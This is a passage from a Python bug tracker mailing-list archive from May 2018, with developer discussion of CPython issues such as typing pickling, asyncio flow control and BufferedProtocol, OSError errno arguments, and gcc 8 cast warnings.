shutdown date for > the code.activestate.com website, but it's future has to be > in question considering the migration. We can check with ActiveState but my understanding is that they're leaving the existing web pages up (they already reduced the maintenance burden to zero by eliminating new updates so that the site wouldn't be spammed). So, I don't think there is a real issue here. Also, I prefer the existing links because they include more than code (there is also exposition, commentary, history, and fork references). ---------- priority: normal -> low _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 00:32:20 2018 From: report at bugs.python.org (Dmitry Malinovsky) Date: Sat, 26 May 2018 04:32:20 +0000 Subject: [issue31096] asyncio.stream.FlowControlMixin._drain_helper may lead to a blocking behavior In-Reply-To: <1501573266.21.0.530489547005.issue31096@psf.upfronthosting.co.za> Message-ID: <1527309140.16.0.682650639539.issue31096@psf.upfronthosting.co.za> Dmitry Malinovsky added the comment: I've changed the implementation significantly since August 2017, futures are not involved anymore so please ignore that part. However, such drain behavior is still present - but I don't think anymore that yielding to the event loop is an easy fix. I've tried to do so in my lib, and it showed significant slowdowns (around 4-5k publishes per second). It's not acceptable. I also found this message from Guido https://github.com/python/asyncio/issues/263#issuecomment-142702725. What really helped is a counter that tracks send calls without waiting for replies, and a user-provided limit; when the counter reaches the limit, an explicit yield (via await asyncio.sleep(0)) is performed. This helped to achieve around 15-16k publishes per second (3-4 times faster. Here's the code: https://github.com/malinoff/amqproto/blob/6568204b539ecf820af2da11bddcca9ce7323ac5/amqproto/adapters/asyncio_adapter.py#L53-L71 Now I'm thinking that such behavior should only be documented - so library authors can deal with it before they face this in production. But if you have other thoughts, I'd be glad to hear. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 03:10:15 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 26 May 2018 07:10:15 +0000 Subject: [issue33652] Improve pickling of typing types Message-ID: <1527318615.23.0.682650639539.issue33652@psf.upfronthosting.co.za> New submission from Serhiy Storchaka : The following PR makes pickles for typing types more portable. Type variables no longer use _find_name() and can be unpickled in 3.6. Subscripted generics no longer expose internals and can be unpickled in 3.6 and future versions with changed internal implementation. Before this PR: >>> import pickle, pickletools, typing >>> pickletools.dis(pickletools.optimize(pickle.dumps(typing.T, 4))) 0: \x80 PROTO 4 2: \x95 FRAME 30 11: \x8c SHORT_BINUNICODE 'typing' 19: \x94 MEMOIZE (as 0) 20: \x8c SHORT_BINUNICODE '_find_name' 32: \x93 STACK_GLOBAL 33: h BINGET 0 35: \x8c SHORT_BINUNICODE 'T' 38: \x86 TUPLE2 39: R REDUCE 40: . STOP highest protocol among opcodes = 4 >>> pickletools.dis(pickletools.optimize(pickle.dumps(typing.Union[int, str], 4))) 0: \x80 PROTO 4 2: \x95 FRAME 198 11: \x8c SHORT_BINUNICODE 'copyreg' 20: \x8c SHORT_BINUNICODE '_reconstructor' 36: \x93 STACK_GLOBAL 37: \x8c SHORT_BINUNICODE 'typing' 45: \x94 MEMOIZE (as 0) 46: \x8c SHORT_BINUNICODE '_GenericAlias' 61: \x93 STACK_GLOBAL 62: \x8c SHORT_BINUNICODE 'builtins' 72: \x94 MEMOIZE (as 1) 73: \x8c SHORT_BINUNICODE 'object' 81: \x93 STACK_GLOBAL 82: N NONE 83: \x87 TUPLE3 84: R REDUCE 85: } EMPTY_DICT 86: ( MARK 87: \x8c SHORT_BINUNICODE '_inst' 94: \x88 NEWTRUE 95: \x8c SHORT_BINUNICODE '_special' 105: \x89 NEWFALSE 106: \x8c SHORT_BINUNICODE '_name' 113: N NONE 114: \x8c SHORT_BINUNICODE '__origin__' 126: h BINGET 0 128: \x8c SHORT_BINUNICODE 'Union' 135: \x93 STACK_GLOBAL 136: \x8c SHORT_BINUNICODE '__args__' 146: h BINGET 1 148: \x8c SHORT_BINUNICODE 'int' 153: \x93 STACK_GLOBAL 154: h BINGET 1 156: \x8c SHORT_BINUNICODE 'str' 161: \x93 STACK_GLOBAL 162: \x86 TUPLE2 163: \x8c SHORT_BINUNICODE '__parameters__' 179: ) EMPTY_TUPLE 180: \x8c SHORT_BINUNICODE '__slots__' 191: N NONE 192: \x8c SHORT_BINUNICODE '__module__' 204: h BINGET 0 206: u SETITEMS (MARK at 86) 207: b BUILD 208: . STOP highest protocol among opcodes = 4 With this PR: >>> import pickle, pickletools, typing >>> pickletools.dis(pickletools.optimize(pickle.dumps(typing.T, 4))) 0: \x80 PROTO 4 2: \x95 FRAME 13 11: \x8c SHORT_BINUNICODE 'typing' 19: \x8c SHORT_BINUNICODE 'T' 22: \x93 STACK_GLOBAL 23: . STOP highest protocol among opcodes = 4 >>> pickletools.dis(pickletools.optimize(pickle.dumps(typing.Union[int, str], 4))) 0: \x80 PROTO 4 2: \x95 FRAME 66 11: \x8c SHORT_BINUNICODE '_operator' 22: \x8c SHORT_BINUNICODE 'getitem' 31: \x93 STACK_GLOBAL 32: \x8c SHORT_BINUNICODE 'typing' 40: \x8c SHORT_BINUNICODE 'Union' 47: \x93 STACK_GLOBAL 48: \x8c SHORT_BINUNICODE 'builtins' 58: \x94 MEMOIZE (as 0) 59: \x8c SHORT_BINUNICODE 'int' 64: \x93 STACK_GLOBAL 65: h BINGET 0 67: \x8c SHORT_BINUNICODE 'str' 72: \x93 STACK_GLOBAL 73: \x86 TUPLE2 74: \x86 TUPLE2 75: R REDUCE 76: . STOP highest protocol among opcodes = 4 If there is a chance it would be nice to merge these changes into 3.7. Otherwise either pickles created in 3.7.0 will be incompatible not only with older Python versions, but with future Python versions too, or we will need to add complex code for supporting specific 3.7.0 pickles in future versions. ---------- components: Library (Lib) messages: 317727 nosy: gvanrossum, levkivskyi, ned.deily, serhiy.storchaka priority: normal severity: normal status: open title: Improve pickling of typing types versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 03:17:13 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 26 May 2018 07:17:13 +0000 Subject: [issue33652] Improve pickling of typing types In-Reply-To: <1527318615.23.0.682650639539.issue33652@psf.upfronthosting.co.za> Message-ID: <1527319033.14.0.682650639539.issue33652@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +6758 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 03:41:48 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 26 May 2018 07:41:48 +0000 Subject: [issue33647] Add re.replace(string, replacement_map) In-Reply-To: <1527252737.56.0.682650639539.issue33647@psf.upfronthosting.co.za> Message-ID: <1527320508.22.0.682650639539.issue33647@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I'm -1 of adding support of this in str.replace. This is very non-trivial code, and unicodeobject.c is already one of largest and most complex files. Adding new complex code will make maintaining harder and can make the compiler producing less optimal code for other methods. str.replace is already good optimized, it is often better to call it several times than use other methods (regular expressions or str.translate). You should be careful with sequential applying str.replace() if some keys are prefixes of other keys ({'a': 'x', 'ab': 'y'}). You should perform replacement in correct order. But this doesn't work either in cases like {'a': 'b', 'b': 'a'}. The regular expression based implementation should be more complex than Terry's example: def re_replace(string, mapping): def repl(m): return mapping[m[0]] pattern = '|'.join(map(re.escape, sorted(mapping, reverse=True))) return re.sub(pattern, repl, string) And it will be very inefficient, because creating and compiling a pattern is much slower than performing the replacement itself, and it can't be cached. This function would be not very useful for practical purposes. You will need to split it on two parts. First prepare a compiled pattern: def repl(m): return mapping[m[0]] compiled_pattern = re.compile('|'.join(map(re.escape, sorted(mapping, reverse=True)))) And later use it: newstring = compiled_pattern.sub(repl, string) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 03:45:40 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 26 May 2018 07:45:40 +0000 Subject: [issue33651] Add get() method to sqlite3.Row class In-Reply-To: <1527285535.19.0.682650639539.issue33651@psf.upfronthosting.co.za> Message-ID: <1527320740.0.0.682650639539.issue33651@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I have the same question. Do you have a concrete example where this can be useful? sqlite3.Row is not a mapping. It is a sequence. >>> import sqlite3 >>> import collections.abc >>> issubclass(sqlite3.Row, collections.abc.Sequence) True ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 03:52:08 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 26 May 2018 07:52:08 +0000 Subject: [issue33644] Fix signatures of tp_finalize handlers in testing code. In-Reply-To: <1527238170.64.0.682650639539.issue33644@psf.upfronthosting.co.za> Message-ID: <1527321128.41.0.682650639539.issue33644@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 19de8b3dd742fb53681478ad4fff57ed7c37a953 by Serhiy Storchaka in branch 'master': bpo-33644: Fix signatures of tp_finalize handlers in testing code. (GH-7111) https://github.com/python/cpython/commit/19de8b3dd742fb53681478ad4fff57ed7c37a953 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 03:53:11 2018 From: report at bugs.python.org (miss-islington) Date: Sat, 26 May 2018 07:53:11 +0000 Subject: [issue33644] Fix signatures of tp_finalize handlers in testing code. In-Reply-To: <1527238170.64.0.682650639539.issue33644@psf.upfronthosting.co.za> Message-ID: <1527321191.75.0.682650639539.issue33644@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6759 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 03:54:09 2018 From: report at bugs.python.org (miss-islington) Date: Sat, 26 May 2018 07:54:09 +0000 Subject: [issue33644] Fix signatures of tp_finalize handlers in testing code. In-Reply-To: <1527238170.64.0.682650639539.issue33644@psf.upfronthosting.co.za> Message-ID: <1527321249.9.0.682650639539.issue33644@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6760 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 04:33:32 2018 From: report at bugs.python.org (miss-islington) Date: Sat, 26 May 2018 08:33:32 +0000 Subject: [issue33644] Fix signatures of tp_finalize handlers in testing code. In-Reply-To: <1527238170.64.0.682650639539.issue33644@psf.upfronthosting.co.za> Message-ID: <1527323612.96.0.682650639539.issue33644@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 14d289be60a2ad4cb65990a63ed2e75e9a8cb3ec by Miss Islington (bot) in branch '3.7': bpo-33644: Fix signatures of tp_finalize handlers in testing code. (GH-7111) https://github.com/python/cpython/commit/14d289be60a2ad4cb65990a63ed2e75e9a8cb3ec ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 06:02:57 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 26 May 2018 10:02:57 +0000 Subject: [issue33622] Fix and improve errors handling in the garbage collector In-Reply-To: <1527097280.42.0.682650639539.issue33622@psf.upfronthosting.co.za> Message-ID: <1527328977.37.0.682650639539.issue33622@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: fixed -> stage: resolved -> status: closed -> open title: Fix errors handling in the garbage collector -> Fix and improve errors handling in the garbage collector _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 06:07:43 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 26 May 2018 10:07:43 +0000 Subject: [issue33622] Fix and improve errors handling in the garbage collector In-Reply-To: <1527097280.42.0.682650639539.issue33622@psf.upfronthosting.co.za> Message-ID: <1527329263.38.0.682650639539.issue33622@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- pull_requests: +6761 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 06:13:29 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 26 May 2018 10:13:29 +0000 Subject: [issue33622] Fix and improve errors handling in the garbage collector In-Reply-To: <1527097280.42.0.682650639539.issue33622@psf.upfronthosting.co.za> Message-ID: <1527329609.29.0.682650639539.issue33622@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: PR 7126 adds several assert(!PyErr_Occurred()) for earlier detection of leaked exceptions. And the failure in adding to gc.garbage is no longer fatal. It is better to not add an object to gc.garbage in this iteration than crash when we run garbage collection when have no memory. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 06:17:11 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 26 May 2018 10:17:11 +0000 Subject: [issue33644] Fix signatures of tp_finalize handlers in testing code. In-Reply-To: <1527238170.64.0.682650639539.issue33644@psf.upfronthosting.co.za> Message-ID: <1527329831.17.0.682650639539.issue33644@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: New changeset 9ba3be4718bdf82e20280980807e054004a9bade by Serhiy Storchaka (Miss Islington (bot)) in branch '3.6': bpo-33644: Fix signatures of tp_finalize handlers in testing code. (GH-7111) (GH-7125) https://github.com/python/cpython/commit/9ba3be4718bdf82e20280980807e054004a9bade ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 06:17:24 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 26 May 2018 10:17:24 +0000 Subject: [issue33644] Fix signatures of tp_finalize handlers in testing code. In-Reply-To: <1527238170.64.0.682650639539.issue33644@psf.upfronthosting.co.za> Message-ID: <1527329844.48.0.682650639539.issue33644@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 06:22:55 2018 From: report at bugs.python.org (patrila) Date: Sat, 26 May 2018 10:22:55 +0000 Subject: [issue29153] Test test.test_asynchat.TestAsynchat / test.test_asynchat.TestAsynchat_WithPoll fail test_close_when_done In-Reply-To: <1483537854.64.0.339355431872.issue29153@psf.upfronthosting.co.za> Message-ID: <1527330175.79.0.682650639539.issue29153@psf.upfronthosting.co.za> patrila added the comment: May I ask what's preventing this issue from being resolved? ---------- versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 06:23:24 2018 From: report at bugs.python.org (patrila) Date: Sat, 26 May 2018 10:23:24 +0000 Subject: [issue29151] test_asyncore.TestAPI_UseIPv4Select / test_asyncore.TestAPI_UseIPv6Select fails test_handle_close_after_conn_broken In-Reply-To: <1483532525.73.0.454850752566.issue29151@psf.upfronthosting.co.za> Message-ID: <1527330204.51.0.682650639539.issue29151@psf.upfronthosting.co.za> patrila added the comment: May I ask what's preventing this issue from being resolved? ---------- versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 07:01:36 2018 From: report at bugs.python.org (Paal Pedersen) Date: Sat, 26 May 2018 11:01:36 +0000 Subject: [issue33647] Add re.replace(string, replacement_map) In-Reply-To: <1527294078.4.0.682650639539.issue33647@psf.upfronthosting.co.za> Message-ID: Paal Pedersen added the comment: I forgot to put the ** in the input. This is to further explain what I had in mind: """The meaning of this file is to show how the replace function can be enhanced""" # Today the replace api takes at most 3 arguments, old_string, new_string, and optional numbers_of_replacements # My wish is to update the replace to support a fourth optional **kwargs argument class Str(object): def __init__(self, s=''): self.original_str = s self.new_str = s # name replace2 is to not cause recursion of my function def replace2(self, *args, **kwargs): # Old api lives here ... if len(args) == 2: old_str, new_str = args # do the old stuff elif len(args) == 3: old_str, new_str, numbers_of_replacements = args #do the old stuff # new api begins if kwargs: for k, v in kwargs.items(): # this one relies on the old api from string object # str original function must differ self.new_str = self.new_str.replace(k, v) return self.new_str def __str__(self): return self.original_str s = Str('my string is not cool') replacement_dict = {'is': 'could', 'my': 'your', 'not': 'be', 'cool': 'awsome'} print(s) s2 = s.replace2(**replacement_dict) print(s, s2, sep='\n') If this is a really crappy though, I would like not to be made a fool out of. I only want to improve, and I'm not crtizing the old api. I just want a simplier life for everyone :) Paal l?r. 26. mai 2018 kl. 02:21 skrev Raymond Hettinger : > > Raymond Hettinger added the comment: > > > I would like an example added to the sub(pattern, function, > > string) examples. > > That seems like the most reasonable way to go. > > ---------- > nosy: +rhettinger > > _______________________________________ > Python tracker > > _______________________________________ > ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 07:06:26 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Sat, 26 May 2018 11:06:26 +0000 Subject: [issue33653] EnvironmentError does not set errno unless strerror is set Message-ID: <1527332786.28.0.682650639539.issue33653@psf.upfronthosting.co.za> New submission from Giampaolo Rodola' : >>> import errno >>> OSError(errno.EBADF).errno >>> OSError(errno.EBADF, "yo").errno 9 >>> IOError(errno.EBADF).errno >>> IOError(errno.EBADF, "yo").errno 9 >>> EnvironmentError(errno.EBADF).errno >>> >>> EnvironmentError(errno.EBADF, "yo").errno 9 This is a bit annoying mainly when mocking fs-related functions in order to raise specific OSError exceptions. ---------- messages: 317737 nosy: giampaolo.rodola priority: normal severity: normal status: open title: EnvironmentError does not set errno unless strerror is set versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 07:33:38 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Sat, 26 May 2018 11:33:38 +0000 Subject: [issue33639] Use high-performance os.sendfile() in shutil.copy* In-Reply-To: <1527192929.89.0.682650639539.issue33639@psf.upfronthosting.co.za> Message-ID: <1527334418.93.0.682650639539.issue33639@psf.upfronthosting.co.za> Giampaolo Rodola' added the comment: I updated the code to rely on sendfile(2) on Linux only, which apparently is the only one supporting copy between regular files and added a check to fail immediately in case the filesystem is full. Can somebody review the patch? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 08:31:10 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 26 May 2018 12:31:10 +0000 Subject: [issue33653] EnvironmentError does not set errno unless strerror is set In-Reply-To: <1527332786.28.0.682650639539.issue33653@psf.upfronthosting.co.za> Message-ID: <1527337870.66.0.682650639539.issue33653@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: This is a documented behavior. If OSError is called with a single argument, it is interpreted as the error message (as in most other exceptions). But if it is called with 2 to 5 arguments, the first argument is interpreted as the errno. https://docs.python.org/3/library/exceptions.html#OSError >>> ValueError('Invalid command') ValueError('Invalid command') >>> str(ValueError('Invalid command')) 'Invalid command' >>> OSError('Invalid command') OSError('Invalid command') >>> str(OSError('Invalid command')) 'Invalid command' >>> import errno >>> OSError(errno.EBADF, 'Invalid command') OSError(9, 'Invalid command') >>> str(OSError(errno.EBADF, 'Invalid command')) '[Errno 9] Invalid command' ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 08:32:41 2018 From: report at bugs.python.org (Giampaolo Rodola') Date: Sat, 26 May 2018 12:32:41 +0000 Subject: [issue33653] EnvironmentError does not set errno unless strerror is set In-Reply-To: <1527332786.28.0.682650639539.issue33653@psf.upfronthosting.co.za> Message-ID: <1527337961.16.0.682650639539.issue33653@psf.upfronthosting.co.za> Giampaolo Rodola' added the comment: My bad, should have read the doc, sorry. =) ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 08:43:42 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Sat, 26 May 2018 12:43:42 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1527338622.44.0.682650639539.issue32769@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: New changeset 6e33f810c9e3a549c9379f24cf1d1752c29195f0 by Ivan Levkivskyi (Andr?s Delfino) in branch 'master': bpo-32769: A new take on annotations/type hinting glossary entries (GH-6829) https://github.com/python/cpython/commit/6e33f810c9e3a549c9379f24cf1d1752c29195f0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 08:56:36 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Sat, 26 May 2018 12:56:36 +0000 Subject: [issue33616] typing.NoReturn is undocumented In-Reply-To: <1527078788.95.0.682650639539.issue33616@psf.upfronthosting.co.za> Message-ID: <1527339396.16.0.682650639539.issue33616@psf.upfronthosting.co.za> Change by Ivan Levkivskyi : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 08:57:06 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Sat, 26 May 2018 12:57:06 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1527339426.77.0.682650639539.issue32769@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- pull_requests: +6762 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 09:02:01 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Sat, 26 May 2018 13:02:01 +0000 Subject: [issue33624] Implement subclass hooks for asyncio abstract classes In-Reply-To: <1527103098.65.0.682650639539.issue33624@psf.upfronthosting.co.za> Message-ID: <1527339721.78.0.682650639539.issue33624@psf.upfronthosting.co.za> Change by Ivan Levkivskyi : ---------- nosy: +levkivskyi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 09:02:21 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Sat, 26 May 2018 13:02:21 +0000 Subject: [issue33649] asyncio docs overhaul In-Reply-To: <1527277722.54.0.682650639539.issue33649@psf.upfronthosting.co.za> Message-ID: <1527339741.16.0.682650639539.issue33649@psf.upfronthosting.co.za> Change by Ivan Levkivskyi : ---------- nosy: +levkivskyi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 09:20:19 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Sat, 26 May 2018 13:20:19 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1527340819.7.0.682650639539.issue32769@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- pull_requests: +6763 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 11:16:28 2018 From: report at bugs.python.org (Xavier de Gaye) Date: Sat, 26 May 2018 15:16:28 +0000 Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za> Message-ID: <1527347788.33.0.682650639539.issue33012@psf.upfronthosting.co.za> Xavier de Gaye added the comment: I propose to enhance the changes made by PR 6748 and PR 6749 so that gcc 8 triggers a warning when the function type of a PyMethodDef element does not match its flags by using a macro (see below) that casts the function first to the function type corresponding to those flags and then to (void *) as done in those PRs to silence the warning when cast to PyCFunction. This would allow detecting bugs such as the one found in issue33454. With the following patch (it is just an example) gcc 8 would emit a warning if bisect_right() does not match the type (in the sense defined by -Wcast-function-type) of PyCFunctionWithKeywords: diff --git a/Modules/_bisectmodule.c b/Modules/_bisectmodule.c index 831e10aa60..85fb0c188e 100644 --- a/Modules/_bisectmodule.c +++ b/Modules/_bisectmodule.c @@ -216,15 +216,14 @@ If x is already in a, insert it to the left of the leftmost x.\n\ Optional args lo (default 0) and hi (default len(a)) bound the\n\ slice of a to be searched.\n"); +#define SET_METH_VARARGS_KEYWORDS(func) \ + (PyCFunction)(void *)(PyCFunctionWithKeywords)(func), METH_VARARGS|METH_KEYWORDS + static PyMethodDef bisect_methods[] = { - {"bisect_right", (PyCFunction)bisect_right, - METH_VARARGS|METH_KEYWORDS, bisect_right_doc}, - {"insort_right", (PyCFunction)insort_right, - METH_VARARGS|METH_KEYWORDS, insort_right_doc}, - {"bisect_left", (PyCFunction)bisect_left, - METH_VARARGS|METH_KEYWORDS, bisect_left_doc}, - {"insort_left", (PyCFunction)insort_left, - METH_VARARGS|METH_KEYWORDS, insort_left_doc}, + {"bisect_right", SET_METH_VARARGS_KEYWORDS(bisect_right), bisect_right_doc}, + {"insort_right", SET_METH_VARARGS_KEYWORDS(insort_right), insort_right_doc}, + {"bisect_left", SET_METH_VARARGS_KEYWORDS(bisect_left), bisect_left_doc}, + {"insort_left", SET_METH_VARARGS_KEYWORDS(insort_left), insort_left_doc}, {NULL, NULL} /* sentinel */ }; ---------- nosy: +xdegaye _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 12:18:56 2018 From: report at bugs.python.org (paul j3) Date: Sat, 26 May 2018 16:18:56 +0000 Subject: [issue15327] Argparse: main arguments and subparser arguments indistinguishable In-Reply-To: <1342004730.08.0.363281774737.issue15327@psf.upfronthosting.co.za> Message-ID: <1527351536.54.0.682650639539.issue15327@psf.upfronthosting.co.za> Change by paul j3 : ---------- nosy: +paul.j3 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 13:08:31 2018 From: report at bugs.python.org (Yury Selivanov) Date: Sat, 26 May 2018 17:08:31 +0000 Subject: [issue33654] asyncio: transports don't support switching between Protocol and BufferedProtocol Message-ID: <1527354511.66.0.682650639539.issue33654@psf.upfronthosting.co.za> New submission from Yury Selivanov : 1. asyncio.BufferedProtocol is a new Python 3.7 *provisional* API. 2. asyncio.Transport.set_protocol() doesn't support switching between Protocol and BufferedProtocol. 3. Because of (2), another *new* Python 3.7 API "loop.start_tls" doesn't support asyncio.BufferedProtocol at all. The fix is straightforward and *does not* affect any existing APIs in Python 3.6 and lower. Since the patch adjusts the APIs a little bit, it would be great to merge this in 3.7.0. However, since only the provisional APIs are changed, this can be theoretically merged to 3.7.1 too. It would be nice, though, to get this into 3.7.0. Ned, your thoughts? ---------- assignee: yselivanov components: asyncio messages: 317743 nosy: asvetlov, ned.deily, yselivanov priority: high severity: normal status: open title: asyncio: transports don't support switching between Protocol and BufferedProtocol versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 13:10:57 2018 From: report at bugs.python.org (Yury Selivanov) Date: Sat, 26 May 2018 17:10:57 +0000 Subject: [issue33654] asyncio: transports don't support switching between Protocol and BufferedProtocol In-Reply-To: <1527354511.66.0.682650639539.issue33654@psf.upfronthosting.co.za> Message-ID: <1527354657.56.0.682650639539.issue33654@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- keywords: +patch pull_requests: +6764 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 13:12:53 2018 From: report at bugs.python.org (Eryk Sun) Date: Sat, 26 May 2018 17:12:53 +0000 Subject: [issue33653] EnvironmentError does not set errno unless strerror is set In-Reply-To: <1527332786.28.0.682650639539.issue33653@psf.upfronthosting.co.za> Message-ID: <1527354773.07.0.682650639539.issue33653@psf.upfronthosting.co.za> Eryk Sun added the comment: This behavior is inherited from BaseException: https://docs.python.org/3/library/exceptions.html#BaseException >>> str(BaseException()) '' >>> str(BaseException('spam')) 'spam' >>> str(BaseException('spam', 'eggs')) "('spam', 'eggs')" Python 2 OSError special cases 2-3 arguments: >>> str(OSError(*'123')) "[Errno 1] 2: '3'" >>> str(OSError(*'1234')) "('1', '2', '3', '4')" Python 3 OSError special cases 2-5 arguments (adding winerror and filename2): >>> str(OSError(*'12345')) "[Errno 1] 2: '3' -> '5'" >>> str(OSError(*'123456')) "('1', '2', '3', '4', '5', '6')" The base behavior is implemented by BaseException_str in Objects/exceptions.c: static PyObject * BaseException_str(PyBaseExceptionObject *self) { switch (PyTuple_GET_SIZE(self->args)) { case 0: return PyUnicode_FromString(""); case 1: return PyObject_Str(PyTuple_GET_ITEM(self->args, 0)); default: return PyObject_Str(self->args); } } ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 13:14:37 2018 From: report at bugs.python.org (Yury Selivanov) Date: Sat, 26 May 2018 17:14:37 +0000 Subject: [issue33654] asyncio: transports don't support switching between Protocol and BufferedProtocol In-Reply-To: <1527354511.66.0.682650639539.issue33654@psf.upfronthosting.co.za> Message-ID: <1527354877.83.0.682650639539.issue33654@psf.upfronthosting.co.za> Yury Selivanov added the comment: Setting "release blocker" to get Ned's attention. ---------- priority: high -> release blocker _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 13:17:36 2018 From: report at bugs.python.org (Guido van Rossum) Date: Sat, 26 May 2018 17:17:36 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1527355056.59.0.682650639539.issue32769@psf.upfronthosting.co.za> Guido van Rossum added the comment: New changeset e69657df244135a232117f692640e0568b04e999 by Guido van Rossum (Andr?s Delfino) in branch '3.7': [3.7] bpo-32769: A new take on annotations/type hinting glossary entries (GH-6829) (#7127) https://github.com/python/cpython/commit/e69657df244135a232117f692640e0568b04e999 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 13:25:31 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 26 May 2018 17:25:31 +0000 Subject: [issue33012] Invalid function cast warnings with gcc 8 for METH_NOARGS In-Reply-To: <1520335093.04.0.467229070634.issue33012@psf.upfronthosting.co.za> Message-ID: <1527355531.66.0.682650639539.issue33012@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Great idea! But the problem is that additional flags can be used, e.g. METH_CLASS. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 13:38:38 2018 From: report at bugs.python.org (Ned Deily) Date: Sat, 26 May 2018 17:38:38 +0000 Subject: [issue33654] asyncio: transports don't support switching between Protocol and BufferedProtocol In-Reply-To: <1527354511.66.0.682650639539.issue33654@psf.upfronthosting.co.za> Message-ID: <1527356318.12.0.682650639539.issue33654@psf.upfronthosting.co.za> Ned Deily added the comment: LGTM for 3.7 